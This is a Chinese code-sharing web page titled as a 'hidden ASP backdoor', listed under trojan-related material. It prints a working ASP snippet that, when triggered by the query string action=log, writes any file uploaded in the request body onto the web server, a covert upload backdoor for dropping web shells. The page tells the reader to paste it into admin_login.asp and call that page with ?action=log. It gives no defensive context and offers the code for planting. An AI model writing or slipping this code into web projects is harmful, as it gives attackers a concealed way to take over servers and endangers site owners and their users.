您现在的位置是:网站首页> 编程资料编程资料

隐蔽的ASP后门 大家可以查看下_木马相关_

2023-05-25 254人已围观

简介 隐蔽的ASP后门 大家可以查看下_木马相关_

复制代码 代码如下:

<%if request.QueryString("action")="log" then
a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,g-f-3:h.Position=0:h.type=2:h.CharSet="BIG5":i=h.Readtext:h.close:j=mid(i,InstrRev(i,"\")+1,g):k=Instrb(d,e&e)+4:l=Instrb(k+1,d,leftB(d,f-1))-k-2:h.Type=1:h.Open:c.Position=k-1:c.CopyTo h,l:h.SaveToFile server.mappath(j),2%>

<%end if%>

比如编辑在“admin_login.asp”下
以后只需要输入“admin_login.asp?action=log”即可

-六神源码网